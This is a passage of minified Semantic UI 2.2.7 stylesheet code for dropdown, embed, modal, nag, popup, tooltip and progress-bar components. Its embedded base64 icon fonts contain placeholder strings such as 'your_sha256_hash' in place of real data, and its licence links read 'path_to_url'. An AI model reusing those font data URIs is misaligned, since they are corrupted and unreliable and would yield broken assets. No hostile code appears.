0}.ui.top.left.pointing.dropdown>.menu:after{top:-.25em;left:1em;right:auto;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.top.right.pointing.dropdown>.menu{top:100%;bottom:auto;right:0;left:auto;margin:1em 0 0}.ui.top.right.pointing.dropdown>.menu:after{top:-.25em;left:auto;right:1em;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.left.pointing.dropdown>.menu{top:0;left:100%;right:auto;margin:0 0 0 1em}.ui.left.pointing.dropdown>.menu:after{top:1em;left:-.25em;margin:0;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.ui.right.pointing.dropdown>.menu{top:0;left:auto;right:100%;margin:0 1em 0 0}.ui.right.pointing.dropdown>.menu:after{top:1em;left:auto;right:-.25em;margin:0;-webkit-transform:rotate(135deg);transform:rotate(135deg)}.ui.bottom.pointing.dropdown>.menu{top:auto;bottom:100%;left:0;right:auto;margin:0 0 1em}.ui.bottom.pointing.dropdown>.menu:after{top:auto;bottom:-.25em;right:auto;margin:0;-webkit-transform:rotate(-135deg);transform:rotate(-135deg)}.ui.bottom.pointing.dropdown>.menu .menu{top:auto!important;bottom:0!important}.ui.bottom.left.pointing.dropdown>.menu{left:0;right:auto}.ui.bottom.left.pointing.dropdown>.menu:after{left:1em;right:auto}.ui.bottom.right.pointing.dropdown>.menu{right:0;left:auto}.ui.bottom.right.pointing.dropdown>.menu:after{left:auto;right:1em}.ui.upward.pointing.dropdown>.menu,.ui.upward.top.pointing.dropdown>.menu{top:auto;bottom:100%;margin:0 0 .78571429rem;border-radius:.28571429rem}.ui.upward.pointing.dropdown>.menu:after,.ui.upward.top.pointing.dropdown>.menu:after{top:100%;bottom:auto;box-shadow:1px 1px 0 1px rgba(34,36,38,.15);margin:-.25em 0 0}@font-face{font-family:Dropdown;src:url(data:application/x-font-ttf;charset=utf-8;base64,your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAABAAADw2gHg/+your_sha512_hash//3//wAAAAAAIPDX//3//wAB/+MPLQADAAEAAAAAAAAAAAAAAAEAAf//your_sha256_hashyour_sha256_hashAAUGBwEACAUGBoAFCAcGgAUBEgcGBQEBAQcECQYHfwYBAQZ/your_sha256_hash/wAHBgWABwaABQWABgcHBgUFBgcAAAABABIASQC3AW4AEwAANzQ/ATYXNhcWHQEUBwYnBi8BJjUSBoAFCAcFBgYFBwgFgAbbBwZ/BwEBBwQJ/your_sha256_hashyour_sha256_hashQALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAG8AbgAuAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,your_sha256_hashAAAA9AAAAdkAAAHZLDXE/09TLzIAAALQAAAAYAAAAGAIIweQY21hcAAAAzAAAABMAAAATA9+your_sha256_hashyour_sha256_hashyour_sha256_hashBAQAAQEBCGljb21vb24AAQIAAQA6+BwC+BsD+BgEHgoAGVP/i4seCgAZU/+your_sha256_hashyour_sha256_hashIAgABAAQABwAKAA0AVgCfAOgBL/your_sha256_hashFAWPjo+NkIuQi5CJjogI9xT7FAWPh42Hi4aLhomHh4eIiIaJhosI+5SLBYaLh42HjoiPiYyour_sha512_hash+xT3FAWHjomPi5AIDvvdiyour_sha512_hashLkAgO+JQU+your_sha256_hashAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAQAAA8NoB4P/gyour_sha512_hash/9//8AAAAAACDw1//9//8AAf/jDy0AAwABAAAAAAAAAAAAAAABAAH//your_sha512_hash/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAE0AbwBvAG4ALgAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');font-weight:400;font-style:normal}.ui.dropdown>.dropdown.icon{font-family:Dropdown;line-height:1;height:1em;width:1.23em;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center}.ui.dropdown>.dropdown.icon{width:auto}.ui.dropdown>.dropdown.icon:before{content:'\f0d7'}.ui.dropdown .menu .item .dropdown.icon:before{content:'\f0da'}.ui.dropdown .item .left.dropdown.icon:before,.ui.dropdown .left.menu .item .dropdown.icon:before{content:"\f0d9"}.ui.vertical.menu .dropdown.item>.dropdown.icon:before{content:"\f0da"}/*! * # Semantic UI 2.2.7 - Video * path_to_url * * * Released under the MIT license * path_to_url * */.ui.embed{position:relative;max-width:100%;height:0;overflow:hidden;background:#dcddde;padding-bottom:56.25%}.ui.embed embed,.ui.embed iframe,.ui.embed object{position:absolute;border:none;width:100%;height:100%;top:0;left:0;margin:0;padding:0}.ui.embed>.embed{display:none}.ui.embed>.placeholder{position:absolute;cursor:pointer;top:0;left:0;display:block;width:100%;height:100%;background-color:radial-gradient(transparent 45%,rgba(0,0,0,.3))}.ui.embed>.icon{cursor:pointer;position:absolute;top:0;left:0;width:100%;height:100%;z-index:2}.ui.embed>.icon:after{position:absolute;top:0;left:0;width:100%;height:100%;z-index:3;content:'';background:-webkit-radial-gradient(transparent 45%,rgba(0,0,0,.3));background:radial-gradient(transparent 45%,rgba(0,0,0,.3));opacity:.5;-webkit-transition:opacity .5s ease;transition:opacity .5s ease}.ui.embed>.icon:before{position:absolute;top:50%;left:50%;z-index:4;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);color:#fff;font-size:6rem;text-shadow:0 2px 10px rgba(34,36,38,.2);-webkit-transition:opacity .5s ease,color .5s ease;transition:opacity .5s ease,color .5s ease;z-index:10}.ui.embed .icon:hover:after{background:-webkit-radial-gradient(transparent 45%,rgba(0,0,0,.3));background:radial-gradient(transparent 45%,rgba(0,0,0,.3));opacity:1}.ui.embed .icon:hover:before{color:#fff}.ui.active.embed>.icon,.ui.active.embed>.placeholder{display:none}.ui.active.embed>.embed{display:block}.ui.square.embed{padding-bottom:100%}.ui[class*="4:3"].embed{padding-bottom:75%}.ui[class*="16:9"].embed{padding-bottom:56.25%}.ui[class*="21:9"].embed{padding-bottom:42.85714286%}/*! * # Semantic UI 2.2.7 - Modal * path_to_url * * * Released under the MIT license * path_to_url * */.ui.modal{display:none;position:fixed;z-index:1001;top:50%;left:50%;text-align:left;background:#fff;border:none;box-shadow:1px 3px 3px 0 rgba(0,0,0,.2),1px 3px 15px 2px rgba(0,0,0,.2);-webkit-transform-origin:50% 25%;transform-origin:50% 25%;border-radius:.28571429rem;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text;will-change:top,left,margin,transform,opacity}.ui.modal>.icon:first-child+*,.ui.modal>:first-child:not(.icon){border-top-left-radius:.28571429rem;border-top-right-radius:.28571429rem}.ui.modal>:last-child{border-bottom-left-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.modal>.close{cursor:pointer;position:absolute;top:-2.5rem;right:-2.5rem;z-index:1;opacity:.8;font-size:1.25em;color:#fff;width:2.25rem;height:2.25rem;padding:.625rem 0 0 0}.ui.modal>.close:hover{opacity:1}.ui.modal>.header{display:block;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;background:#fff;margin:0;padding:1.25rem 1.5rem;box-shadow:none;color:rgba(0,0,0,.85);border-bottom:1px solid rgba(34,36,38,.15)}.ui.modal>.header:not(.ui){font-size:1.42857143rem;line-height:1.2857em;font-weight:700}.ui.modal>.content{display:block;width:100%;font-size:1em;line-height:1.4;padding:1.5rem;background:#fff}.ui.modal>.image.content{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.ui.modal>.content>.image{display:block;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;width:'';-ms-flex-item-align:top;-ms-grid-row-align:top;align-self:top}.ui.modal>[class*="top aligned"]{-ms-flex-item-align:top;-ms-grid-row-align:top;align-self:top}.ui.modal>[class*="middle aligned"]{-ms-flex-item-align:middle;-ms-grid-row-align:middle;align-self:middle}.ui.modal>[class*=stretched]{-ms-flex-item-align:stretch;-ms-grid-row-align:stretch;align-self:stretch}.ui.modal>.content>.description{display:block;-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;min-width:0;-ms-flex-item-align:top;-ms-grid-row-align:top;align-self:top}.ui.modal>.content>.icon+.description,.ui.modal>.content>.image+.description{-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;min-width:'';width:auto;padding-left:2em}.ui.modal>.content>.image>i.icon{margin:0;opacity:1;width:auto;line-height:1;font-size:8rem}.ui.modal>.actions{background:#f9fafb;padding:1rem 1rem;border-top:1px solid rgba(34,36,38,.15);text-align:right}.ui.modal .actions>.button{margin-left:.75em}@media only screen and (max-width:767px){.ui.modal{width:95%;margin:0 0 0 -47.5%}}@media only screen and (min-width:768px){.ui.modal{width:88%;margin:0 0 0 -44%}}@media only screen and (min-width:992px){.ui.modal{width:850px;margin:0 0 0 -425px}}@media only screen and (min-width:1200px){.ui.modal{width:900px;margin:0 0 0 -450px}}@media only screen and (min-width:1920px){.ui.modal{width:950px;margin:0 0 0 -475px}}@media only screen and (max-width:991px){.ui.modal>.header{padding-right:2.25rem}.ui.modal>.close{top:1.0535rem;right:1rem;color:rgba(0,0,0,.87)}}@media only screen and (max-width:767px){.ui.modal>.header{padding:.75rem 1rem!important;padding-right:2.25rem!important}.ui.modal>.content{display:block;padding:1rem!important}.ui.modal>.close{top:.5rem!important;right:.5rem!important}.ui.modal .image.content{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.modal .content>.image{display:block;max-width:100%;margin:0 auto!important;text-align:center;padding:0 0 1rem!important}.ui.modal>.content>.image>i.icon{font-size:5rem;text-align:center}.ui.modal .content>.description{display:block;width:100%!important;margin:0!important;padding:1rem 0!important;box-shadow:none}.ui.modal>.actions{padding:1rem 1rem 0!important}.ui.modal .actions>.button,.ui.modal .actions>.buttons{margin-bottom:1rem}}.ui.inverted.dimmer>.ui.modal{box-shadow:1px 3px 10px 2px rgba(0,0,0,.2)}.ui.basic.modal{background-color:transparent;border:none;border-radius:0;box-shadow:none!important;color:#fff}.ui.basic.modal>.actions,.ui.basic.modal>.content,.ui.basic.modal>.header{background-color:transparent}.ui.basic.modal>.header{color:#fff}.ui.basic.modal>.close{top:1rem;right:1.5rem}.ui.inverted.dimmer>.basic.modal{color:rgba(0,0,0,.87)}.ui.inverted.dimmer>.ui.basic.modal>.header{color:rgba(0,0,0,.85)}@media only screen and (max-width:991px){.ui.basic.modal>.close{color:#fff}}.ui.active.modal{display:block}.scrolling.dimmable.dimmed{overflow:hidden}.scrolling.dimmable.dimmed>.dimmer{overflow:auto;-webkit-overflow-scrolling:touch}.scrolling.dimmable>.dimmer{position:fixed}.modals.dimmer .ui.scrolling.modal{position:static!important;margin:3.5rem auto!important}.scrolling.undetached.dimmable.dimmed{overflow:auto;-webkit-overflow-scrolling:touch}.scrolling.undetached.dimmable.dimmed>.dimmer{overflow:hidden}.scrolling.undetached.dimmable .ui.scrolling.modal{position:absolute;left:50%;margin-top:3.5rem!important}.undetached.dimmable.dimmed>.pusher{z-index:auto}@media only screen and (max-width:991px){.modals.dimmer .ui.scrolling.modal{margin-top:1rem!important;margin-bottom:1rem!important}}.ui.fullscreen.modal{width:95%!important;left:2.5%!important;margin:1em auto}.ui.fullscreen.scrolling.modal{left:0!important}.ui.fullscreen.modal>.header{padding-right:2.25rem}.ui.fullscreen.modal>.close{top:1.0535rem;right:1rem;color:rgba(0,0,0,.87)}.ui.modal{font-size:1rem}.ui.small.modal>.header:not(.ui){font-size:1.3em}@media only screen and (max-width:767px){.ui.small.modal{width:95%;margin:0 0 0 -47.5%}}@media only screen and (min-width:768px){.ui.small.modal{width:70.4%;margin:0 0 0 -35.2%}}@media only screen and (min-width:992px){.ui.small.modal{width:680px;margin:0 0 0 -340px}}@media only screen and (min-width:1200px){.ui.small.modal{width:720px;margin:0 0 0 -360px}}@media only screen and (min-width:1920px){.ui.small.modal{width:760px;margin:0 0 0 -380px}}.ui.large.modal>.header{font-size:1.6em}@media only screen and (max-width:767px){.ui.large.modal{width:95%;margin:0 0 0 -47.5%}}@media only screen and (min-width:768px){.ui.large.modal{width:88%;margin:0 0 0 -44%}}@media only screen and (min-width:992px){.ui.large.modal{width:1020px;margin:0 0 0 -510px}}@media only screen and (min-width:1200px){.ui.large.modal{width:1080px;margin:0 0 0 -540px}}@media only screen and (min-width:1920px){.ui.large.modal{width:1140px;margin:0 0 0 -570px}}/*! * # Semantic UI 2.2.7 - Nag * path_to_url * * * Released under the MIT license * path_to_url * */.ui.nag{display:none;opacity:.95;position:relative;top:0;left:0;z-index:999;min-height:0;width:100%;margin:0;padding:.75em 1em;background:#555;box-shadow:0 1px 2px 0 rgba(0,0,0,.2);font-size:1rem;text-align:center;color:rgba(0,0,0,.87);border-radius:0 0 .28571429rem .28571429rem;-webkit-transition:.2s background ease;transition:.2s background ease}a.ui.nag{cursor:pointer}.ui.nag>.title{display:inline-block;margin:0 .5em;color:#fff}.ui.nag>.close.icon{cursor:pointer;opacity:.4;position:absolute;top:50%;right:1em;font-size:1em;margin:-.5em 0 0;color:#fff;-webkit-transition:opacity .2s ease;transition:opacity .2s ease}.ui.nag:hover{background:#555;opacity:1}.ui.nag .close:hover{opacity:1}.ui.overlay.nag{position:absolute;display:block}.ui.fixed.nag{position:fixed}.ui.bottom.nag,.ui.bottom.nags{border-radius:.28571429rem .28571429rem 0 0;top:auto;bottom:0}.ui.inverted.nag,.ui.inverted.nags .nag{background-color:#f3f4f5;color:rgba(0,0,0,.85)}.ui.inverted.nag .close,.ui.inverted.nag .title,.ui.inverted.nags .nag .close,.ui.inverted.nags .nag .title{color:rgba(0,0,0,.4)}.ui.nags .nag{border-radius:0!important}.ui.nags .nag:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.bottom.nags .nag:last-child{border-radius:.28571429rem .28571429rem 0 0}/*! * # Semantic UI 2.2.7 - Popup * path_to_url * * * Released under the MIT license * path_to_url * */.ui.popup{display:none;position:absolute;top:0;right:0;min-width:-webkit-min-content;min-width:-moz-min-content;min-width:min-content;z-index:1900;border:1px solid #d4d4d5;line-height:1.4285em;max-width:250px;background:#fff;padding:.833em 1em;font-weight:400;font-style:normal;color:rgba(0,0,0,.87);border-radius:.28571429rem;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.popup>.header{padding:0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1.14285714em;line-height:1.2;font-weight:700}.ui.popup>.header+.content{padding-top:.5em}.ui.popup:before{position:absolute;content:'';width:.71428571em;height:.71428571em;background:#fff;-webkit-transform:rotate(45deg);transform:rotate(45deg);z-index:2;box-shadow:1px 1px 0 0 #bababc}[data-tooltip]{position:relative}[data-tooltip]:before{pointer-events:none;position:absolute;content:'';font-size:1rem;width:.71428571em;height:.71428571em;background:#fff;-webkit-transform:rotate(45deg);transform:rotate(45deg);z-index:2;box-shadow:1px 1px 0 0 #bababc}[data-tooltip]:after{pointer-events:none;content:attr(data-tooltip);position:absolute;text-transform:none;text-align:left;white-space:nowrap;font-size:1rem;border:1px solid #d4d4d5;line-height:1.4285em;max-width:none;background:#fff;padding:.833em 1em;font-weight:400;font-style:normal;color:rgba(0,0,0,.87);border-radius:.28571429rem;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);z-index:1}[data-tooltip]:not([data-position]):before{top:auto;right:auto;bottom:100%;left:50%;background:#fff;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-tooltip]:not([data-position]):after{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);bottom:100%;margin-bottom:.5em}[data-tooltip]:after,[data-tooltip]:before{pointer-events:none;visibility:hidden}[data-tooltip]:before{opacity:0;-webkit-transform:rotate(45deg) scale(0)!important;transform:rotate(45deg) scale(0)!important;-webkit-transform-origin:center top;transform-origin:center top;-webkit-transition:all .1s ease;transition:all .1s ease}[data-tooltip]:after{opacity:1;-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-transition:all .1s ease;transition:all .1s ease}[data-tooltip]:hover:after,[data-tooltip]:hover:before{visibility:visible;pointer-events:auto}[data-tooltip]:hover:before{-webkit-transform:rotate(45deg) scale(1)!important;transform:rotate(45deg) scale(1)!important;opacity:1}[data-tooltip]:after,[data-tooltip][data-position="bottom center"]:after,[data-tooltip][data-position="top center"]:after{-webkit-transform:translateX(-50%) scale(0)!important;transform:translateX(-50%) scale(0)!important}[data-tooltip]:hover:after,[data-tooltip][data-position="bottom center"]:hover:after{-webkit-transform:translateX(-50%) scale(1)!important;transform:translateX(-50%) scale(1)!important}[data-tooltip][data-position="left center"]:after,[data-tooltip][data-position="right center"]:after{-webkit-transform:translateY(-50%) scale(0)!important;transform:translateY(-50%) scale(0)!important}[data-tooltip][data-position="left center"]:hover:after,[data-tooltip][data-position="right center"]:hover:after{-webkit-transform:translateY(-50%) scale(1)!important;transform:translateY(-50%) scale(1)!important}[data-tooltip][data-position="bottom left"]:after,[data-tooltip][data-position="bottom right"]:after,[data-tooltip][data-position="top left"]:after,[data-tooltip][data-position="top right"]:after{-webkit-transform:scale(0)!important;transform:scale(0)!important}[data-tooltip][data-position="bottom left"]:hover:after,[data-tooltip][data-position="bottom right"]:hover:after,[data-tooltip][data-position="top left"]:hover:after,[data-tooltip][data-position="top right"]:hover:after{-webkit-transform:scale(1)!important;transform:scale(1)!important}[data-tooltip][data-inverted]:before{box-shadow:none!important}[data-tooltip][data-inverted]:before{background:#1b1c1d}[data-tooltip][data-inverted]:after{background:#1b1c1d;color:#fff;border:none;box-shadow:none}[data-tooltip][data-inverted]:after .header{background-color:none;color:#fff}[data-position="top center"][data-tooltip]:after{top:auto;right:auto;left:50%;bottom:100%;-webkit-transform:translateX(-50%);transform:translateX(-50%);margin-bottom:.5em}[data-position="top center"][data-tooltip]:before{top:auto;right:auto;bottom:100%;left:50%;background:#fff;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-position="top left"][data-tooltip]:after{top:auto;right:auto;left:0;bottom:100%;margin-bottom:.5em}[data-position="top left"][data-tooltip]:before{top:auto;right:auto;bottom:100%;left:1em;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-position="top right"][data-tooltip]:after{top:auto;left:auto;right:0;bottom:100%;margin-bottom:.5em}[data-position="top right"][data-tooltip]:before{top:auto;left:auto;bottom:100%;right:1em;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-position="bottom center"][data-tooltip]:after{bottom:auto;right:auto;left:50%;top:100%;-webkit-transform:translateX(-50%);transform:translateX(-50%);margin-top:.5em}[data-position="bottom center"][data-tooltip]:before{bottom:auto;right:auto;top:100%;left:50%;margin-left:-.07142857rem;margin-top:.14285714rem}[data-position="bottom left"][data-tooltip]:after{left:0;top:100%;margin-top:.5em}[data-position="bottom left"][data-tooltip]:before{bottom:auto;right:auto;top:100%;left:1em;margin-left:-.07142857rem;margin-top:.14285714rem}[data-position="bottom right"][data-tooltip]:after{right:0;top:100%;margin-top:.5em}[data-position="bottom right"][data-tooltip]:before{bottom:auto;left:auto;top:100%;right:1em;margin-left:-.14285714rem;margin-top:.07142857rem}[data-position="left center"][data-tooltip]:after{right:100%;top:50%;margin-right:.5em;-webkit-transform:translateY(-50%);transform:translateY(-50%)}[data-position="left center"][data-tooltip]:before{right:100%;top:50%;margin-top:-.14285714rem;margin-right:-.07142857rem}[data-position="right center"][data-tooltip]:after{left:100%;top:50%;margin-left:.5em;-webkit-transform:translateY(-50%);transform:translateY(-50%)}[data-position="right center"][data-tooltip]:before{left:100%;top:50%;margin-top:-.07142857rem;margin-left:.14285714rem}[data-position~=bottom][data-tooltip]:before{background:#fff;box-shadow:-1px -1px 0 0 #bababc}[data-position="left center"][data-tooltip]:before{background:#fff;box-shadow:1px -1px 0 0 #bababc}[data-position="right center"][data-tooltip]:before{background:#fff;box-shadow:-1px 1px 0 0 #bababc}[data-position~=top][data-tooltip]:before{background:#fff}[data-inverted][data-position~=bottom][data-tooltip]:before{background:#1b1c1d;box-shadow:-1px -1px 0 0 #bababc}[data-inverted][data-position="left center"][data-tooltip]:before{background:#1b1c1d;box-shadow:1px -1px 0 0 #bababc}[data-inverted][data-position="right center"][data-tooltip]:before{background:#1b1c1d;box-shadow:-1px 1px 0 0 #bababc}[data-inverted][data-position~=top][data-tooltip]:before{background:#1b1c1d}[data-position~=bottom][data-tooltip]:before{-webkit-transform-origin:center bottom;transform-origin:center bottom}[data-position~=bottom][data-tooltip]:after{-webkit-transform-origin:center top;transform-origin:center top}[data-position="left center"][data-tooltip]:before{-webkit-transform-origin:top center;transform-origin:top center}[data-position="left center"][data-tooltip]:after{-webkit-transform-origin:right center;transform-origin:right center}[data-position="right center"][data-tooltip]:before{-webkit-transform-origin:right center;transform-origin:right center}[data-position="right center"][data-tooltip]:after{-webkit-transform-origin:left center;transform-origin:left center}.ui.popup{margin:0}.ui.top.popup{margin:0 0 .71428571em}.ui.top.left.popup{-webkit-transform-origin:left bottom;transform-origin:left bottom}.ui.top.center.popup{-webkit-transform-origin:center bottom;transform-origin:center bottom}.ui.top.right.popup{-webkit-transform-origin:right bottom;transform-origin:right bottom}.ui.left.center.popup{margin:0 .71428571em 0 0;-webkit-transform-origin:right 50%;transform-origin:right 50%}.ui.right.center.popup{margin:0 0 0 .71428571em;-webkit-transform-origin:left 50%;transform-origin:left 50%}.ui.bottom.popup{margin:.71428571em 0 0}.ui.bottom.left.popup{-webkit-transform-origin:left top;transform-origin:left top}.ui.bottom.center.popup{-webkit-transform-origin:center top;transform-origin:center top}.ui.bottom.right.popup{-webkit-transform-origin:right top;transform-origin:right top}.ui.bottom.center.popup:before{margin-left:-.30714286em;top:-.30714286em;left:50%;right:auto;bottom:auto;box-shadow:-1px -1px 0 0 #bababc}.ui.bottom.left.popup{margin-left:0}.ui.bottom.left.popup:before{top:-.30714286em;left:1em;right:auto;bottom:auto;margin-left:0;box-shadow:-1px -1px 0 0 #bababc}.ui.bottom.right.popup{margin-right:0}.ui.bottom.right.popup:before{top:-.30714286em;right:1em;bottom:auto;left:auto;margin-left:0;box-shadow:-1px -1px 0 0 #bababc}.ui.top.center.popup:before{top:auto;right:auto;bottom:-.30714286em;left:50%;margin-left:-.30714286em}.ui.top.left.popup{margin-left:0}.ui.top.left.popup:before{bottom:-.30714286em;left:1em;top:auto;right:auto;margin-left:0}.ui.top.right.popup{margin-right:0}.ui.top.right.popup:before{bottom:-.30714286em;right:1em;top:auto;left:auto;margin-left:0}.ui.left.center.popup:before{top:50%;right:-.30714286em;bottom:auto;left:auto;margin-top:-.30714286em;box-shadow:1px -1px 0 0 #bababc}.ui.right.center.popup:before{top:50%;left:-.30714286em;bottom:auto;right:auto;margin-top:-.30714286em;box-shadow:-1px 1px 0 0 #bababc}.ui.bottom.popup:before{background:#fff}.ui.left.center.popup:before,.ui.right.center.popup:before{background:#fff}.ui.top.popup:before{background:#fff}.ui.inverted.bottom.popup:before{background:#1b1c1d}.ui.inverted.left.center.popup:before,.ui.inverted.right.center.popup:before{background:#1b1c1d}.ui.inverted.top.popup:before{background:#1b1c1d}.ui.popup>.ui.grid:not(.padded){width:calc(100% + 1.75rem);margin:-.7rem -.875rem}.ui.loading.popup{display:block;visibility:hidden;z-index:-1}.ui.animating.popup,.ui.visible.popup{display:block}.ui.visible.popup{-webkit-transform:translateZ(0);transform:translateZ(0);-webkit-backface-visibility:hidden;backface-visibility:hidden}.ui.basic.popup:before{display:none}.ui.wide.popup{max-width:350px}.ui[class*="very wide"].popup{max-width:550px}@media only screen and (max-width:767px){.ui.wide.popup,.ui[class*="very wide"].popup{max-width:250px}}.ui.fluid.popup{width:100%;max-width:none}.ui.inverted.popup{background:#1b1c1d;color:#fff;border:none;box-shadow:none}.ui.inverted.popup .header{background-color:none;color:#fff}.ui.inverted.popup:before{background-color:#1b1c1d;box-shadow:none!important}.ui.flowing.popup{max-width:none}.ui.mini.popup{font-size:.78571429rem}.ui.tiny.popup{font-size:.85714286rem}.ui.small.popup{font-size:.92857143rem}.ui.popup{font-size:1rem}.ui.large.popup{font-size:1.14285714rem}.ui.huge.popup{font-size:1.42857143rem}/*! * # Semantic UI 2.2.7 - Progress Bar * path_to_url * * * Released under the MIT license * path_to_url * */.ui.progress{position:relative;display:block;max-width:100%;border:none;margin:1em 0 2.5em;box-shadow:none;background:rgba(0,0,0,.1);padding:0;border-radius:.28571429rem}.ui.progress:first-child{margin:0 0 2.5em}.ui.progress:last-child{margin:0 0 1.5em}.ui.progress .bar{display:block;line-height:1;position:relative;width:0;min-width:2em;background:#888;border-radius:.28571429rem;-webkit-transition:width .1s ease,background-color .1s ease;transition:width .1s ease,background-color .1s ease}.ui.progress .bar>.progress{white-space:nowrap;position:absolute;width:auto;font-size:.92857143em;top:50%;right:.5em;left:auto;bottom:auto;color:rgba(255,255,255,.7);text-shadow:none;margin-top:-.5em;font-weight:700;text-align:left}.ui.progress>.label{position:absolute;width:100%;font-size:1em;top:100%;right:auto;left:0;bottom:auto;color:rgba(0,0,0,.87);font-weight:700;text-shadow:none;margin-top:.2em;text-align:center;-webkit-transition:color .4s ease;transition:color .4s ease}.ui.indicating.progress[data-percent^="1"] .bar,.ui.indicating.progress[data-percent^="2"] .bar{background-color:#d95c5c}.ui.indicating.progress[data-percent^="3"] .bar{background-color:#efbc72}.ui.indicating.progress[data-percent^="4"] .bar,.ui.indicating.progress[data-percent^="5"] .bar{background-color:#e6bb48}.ui.indicating.progress[data-percent^="6"] .bar{background-color:#ddc928}.ui.indicating.progress[data-percent^="7"] .bar,.ui.indicating.progress[data-percent^="8"] .bar{background-color:#b4d95c}.ui.indicating.progress[data-percent^="100"] .bar,.ui.indicating.progress[data-percent^="9"] .bar{background-color:#66da81}.ui.indicating.progress[data-percent^="1"] .label,.ui.indicating.progress[data-percent^="2"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="3"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="4"] .label,.ui.indicating.progress[data-percent^="5"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="6"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="7"] .label,.ui.indicating.progress[data-percent^="8"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent^="100"] .label,.ui.indicating.progress[data-percent^="9"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress[data-percent="1"] .bar,.ui.indicating.progress[data-percent="2"] .bar,.ui.indicating.progress[data-percent="3"] .bar,.ui.indicating.progress[data-percent="4"] .bar,.ui.indicating.progress[data-percent="5"] .bar,.ui.indicating.progress[data-percent="6"] .bar,.ui.indicating.progress[data-percent="7"] .bar,.ui.indicating.progress[data-percent="8"] .bar,.ui.indicating.progress[data-percent="9"] .bar{background-color:#d95c5c}.ui.indicating.progress[data-percent="1"] .label,.ui.indicating.progress[data-percent="2"] .label,.ui.indicating.progress[data-percent="3"] .label,.ui.indicating.progress[data-percent="4"] .label,.ui.indicating.progress[data-percent="5"] .label,.ui.indicating.progress[data-percent="6"] .label,.ui.indicating.progress[data-percent="7"] .label,.ui.indicating.progress[data-percent="8"] .label,.ui.indicating.progress[data-percent="9"] .label{color:rgba(0,0,0,.87)}.ui.indicating.progress.success .label{color:#1a531b}.ui.progress.success .bar{background-color:#21ba45!important}.ui.progress.success .bar,.ui.progress.success .bar::after{-webkit-animation:none!important;animation:none!important}.ui.progress.success>.label{color:#1a531b}.ui.progress.warning .bar{background-color:#f2c037!important}.ui.progress.warning .bar,.ui.progress.warning .bar::after{-webkit-animation:none!important;animation:none!important}.ui.progress.warning>.label{color:#794b02}.ui.progress.error .bar{background-color:#db2828!important}.ui.progress.error .bar,.ui.progress.error .bar::after{-webkit-animation:none!important;animation:none!important}.ui.progress.error>.label{color:#912d2b}.ui.active.progress .bar{position:relative;min-width:2em}.ui.active.progress .bar::after{content:'';opacity:0;position:absolute;top:0;left:0;right:0;bottom:0;background:#fff;border-radius:.28571429rem;-webkit-animation:progress-active 2s ease infinite;animation:progress-active 2s ease infinite}@-webkit-keyframes progress-active{0%{opacity:.3;width:0}100%{opacity:0;width:100%}}@keyframes progress-active{0%{opacity:.3;width:0}100%{opacity:0;width:100%}}.ui.disabled.progress{opacity:.35}.ui.disabled.progress .bar,.ui.disabled.progress .bar::after{-webkit-animation:none!important;animation:none!important}.ui.inverted.progress{background:rgba(255,255,255,.08);border:none}.ui.inverted.progress .bar{background:#888}.ui.inverted.progress .bar>.progress{color:#f9fafb}.ui.inverted.progress>.label{color:#fff}.ui.inverted.progress.success>.label{color:#21ba45}.ui.inverted.progress.warning>.label{color:#f2c037}.ui.inverted.progress.error>.label{color:#db2828}.ui.progress.attached{background:0 0;position:relative;border:none;margin:0}.ui.progress.attached,.ui.progress.attached .bar{display:block;height:.2rem;padding:0;overflow:hidden;border-radius:0 0 .28571429rem .28571429rem}.ui.progress.attached .bar{border-radius:0}.ui.progress.top.attached,.ui.progress.top.attached .bar{top:0;border-radius:.28571429rem .28571429rem 0 0}.ui.progress.top.attached 